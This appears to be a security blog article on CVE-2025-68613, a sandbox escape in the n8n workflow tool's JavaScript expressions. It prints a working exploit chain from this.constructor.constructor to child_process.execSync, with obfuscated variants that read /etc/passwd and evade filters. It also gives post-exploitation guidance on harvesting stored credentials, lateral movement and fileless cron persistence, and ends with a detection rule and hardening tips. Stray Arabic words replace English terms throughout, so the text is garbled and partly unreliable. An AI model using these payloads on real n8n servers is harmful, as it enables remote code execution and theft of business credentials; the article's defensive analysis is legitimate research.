In the closing security landscape of 2025, the disclosure of CVE-2025-68613 (CVSS 10.0) hit the industry with the force of a kinetic weapon. As the world’s most popular open-source workflow automation tool, ن8 ن underpins the core business logic of countless enterprises. Yet, this vulnerability, allowing unauthenticated (or low-privilege) attackers to execute arbitrary code, has thoroughly exposed the architectural Achilles’ heel of modern “Low-Code/No-Code” platforms.
For senior security engineers and Red Team researchers, CVE-2025-68613 is far more than a “Validation Failure.” It is a textbook case study in the combined exploitation of the Node.js Dynamic Runtime, Object Capability Model Failureو تلوث النموذج الأولي.
This article abandons superficial vulnerability reporting to dive deep into the V8 engine internals, deconstruct every byte of the sandbox escape, and provide a comprehensive detection and defense handbook for enterprise Blue Teams.
Deconstructing the Attack Surface
The core value proposition of n8n is “connectivity.” It strings together databases, SaaS services, and internal APIs via thousands of integration nodes. To enable dynamic data processing, n8n allows users to embed JavaScript expressions within nodes, typically wrapped in {{ }} syntax.
Prior to the outbreak of CVE-2025-68613, n8n relied on the native Node.js vm module to isolate this user-supplied code.
Why Node.js vm?
The Node.js vm module allows compiling and running code within a V8 virtual machine context. It provides an isolated global object (Contextified Sandbox).
- Ideally: Code cannot access variables outside the sandbox.
- Reality: إن
vmmodule is widely acknowledged in the security community as “Broken by Design.”
Attack Surface Analysis:
- Entry Points: Any node accepting expression input (e.g.,
مجموعة,الوظيفة,HTTP Requestnodes). - Execution Flow: User Input -> String Parsing ->
vm.runInNewContext()-> Execution. - الخلل As long as any object inside the sandbox references an external object (e.g., passing host environment variables via the
thiscontext), an attacker can leverage JavaScript’s Prototype Chain Climbing mechanism to escape the sandbox.
Technical Deep Dive—From Prototype Chain to RCE
To understand the exploit logic of CVE-2025-68613, one must grasp the المُنشئ property in JavaScript.
Almost every object in JavaScript has a المُنشئ property pointing to the function that created it.
({}).constructor===ObjectObject.constructor===الوظيفة
The Core Escape Logic: this.constructor.constructor
In n8n’s restricted environment, an attacker cannot directly call require('child_process'). However, the attacker possesses the current execution context: this.
- Hop 1:
thisis the context object inside the sandbox. - Hop 2:
this.constructoris theObjectconstructor inside the sandbox. - Hop 3 (Critical):
this.constructor.constructorresolves to the Host’sالوظيفةمُنشئ.
Why does this breach the sandbox? Because the V8 engine, when handling cross-context object interactions, resolves the constructor chain to the external definition if the root object originated from outside.
Once the attacker obtains the Host’s الوظيفة constructor, they can dynamically generate an anonymous function that executes in the Host Context. This anonymous function is unbound by sandbox restrictions and can access the global process object.
The Full Exploit Primitive
The payload constructed by the attacker is not a simple string, but a precise piece of JavaScript code designed to reconstruct the Node.js module loading system.
جافا سكريبت
`// Phase 1: Acquire the Host Environment’s Function Constructor const ForeignFunction = this.constructor.constructor;
// Phase 2: Dynamically create a function that returns the ‘process’ object // This code executes in the Host Context, bypassing the sandbox const getProcess = ForeignFunction(‘return process’);
// Phase 3: Execute the function to get the process handle const proc = getProcess();
// Phase 4: Access the mainModule to get the ‘require’ handle const require = proc.mainModule.require;
// Phase 5: Load ‘child_process’ and execute system commands const result = require(‘child_process’).execSync(‘id’).toString();`
In an n8n {{ }} expression, this logic is compressed into a lethal one-liner injection.
Combat & Obfuscation—Bypassing Static Filters
In early defense attempts against CVE-2025-68613, some temporary patches tried to filter keywords like process, constructor, or require using regex.
However, for a highly dynamic language like JavaScript, static filtering is futile.
Obfuscation Variant A: String Concatenation & Encoding
Attackers leverage JavaScript’s flexibility to split or encode keywords, bypassing signature detection.
جافا سكريبت
{{ // Bypassing "constructor" detection this['con'+'structor']['con'+'structor']( // Bypassing "return process" detection 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
Obfuscation Variant B: Reflect & Proxy
Advanced attackers use Reflect.get to dynamically access properties, making Abstract Syntax Tree (AST) analysis difficult to trace the call chain.
جافا سكريبت
{{ // Using Reflect to find the constructor key dynamically const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // Proceed with execution... }}
This demonstrates that simple regex matching cannot fix CVE-2025-68613; the fix must address the underlying Object Capability Constraints.
Post-Exploitation—Why n8n is the Perfect Beachhead
Compromising the n8n server (getting a Shell) is just the beginning. In an APT (Advanced Persistent Threat) kill chain, n8n holds unique strategic value.
Credential Harvesting
The n8n database (typically SQLite or PostgreSQL) stores credentials for all connected services. While encrypted, an attacker with RCE can read the encryption key (usually in environment variables or config files), thereby decrypting:
- AWS IAM User Keys
- Stripe / PayPal API Keys
- Corporate Database Connection Strings
- Slack / Discord Bot Tokens
Lateral Movement
n8n servers are usually deployed deep within the intranet and permitted to access various internal APIs. Attackers can use n8n as a SOCKS Proxy, or directly modify existing HTTP Request nodes to send probe requests to other internal services (like Jenkins, GitLab), effectively scanning internal assets.
المثابرة
Traditional malware binaries are scanned by EDR solutions. But if an attacker creates a “Cron” workflow in n8n that runs every 5 minutes and executes malicious JavaScript, this backdoor is Fileless. It blends entirely into normal business logic, making it extremely difficult to detect.
Blue Team Handbook—Detection & Defense
For Enterprise Security Teams (Blue Teams), facing CVE-2025-68613 requires more than just applying the official patch.
Traffic Signature Detection (SIEM/IDS)
Monitor HTTP request bodies containing {{ that also include keywords like المُنشئ, process, التنفيذأو تفرخ.
YARA Rule Example:
rule DETECT_N8N_RCE_ATTEMPT { meta: description = "Detects expression injection attempts targeting n8n (CVE-2025-68613)" severity = "Critical" strings: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start and (2 of ($keyword*)) }
Log Auditing
Audit n8n execution logs for abnormal ERROR messages, specifically records containing Access denied to global variable أو ReferenceError: process is not defined. These often indicate an attacker probing the sandbox boundaries.
Architectural Hardening
- Docker Isolation: Run n8n containers with
-cap-drop=ALLto remove all unnecessary Linux Capabilities. - Egress Traffic Control: Configure Network Policies to forbid the n8n container from initiating connections to non-whitelisted public IPs, blocking reverse shells from connecting to C2 servers.
Conclusion: A Turning Point for Low-Code Security
CVE-2025-68613 represents a turning point in the security history of Low-Code/No-Code platforms. It reminds us that Flexibility and Security are often a zero-sum game.
When we grant the full power of a programming language (like JavaScript expressions) to ordinary users, we are effectively inviting attackers into our runtime environment. Future security defenses can no longer rely on fragile application-level sandboxes but must shift toward Secure by Design architectures, such as using WebAssembly (Wasm) for true memory-safe isolation of user code execution.
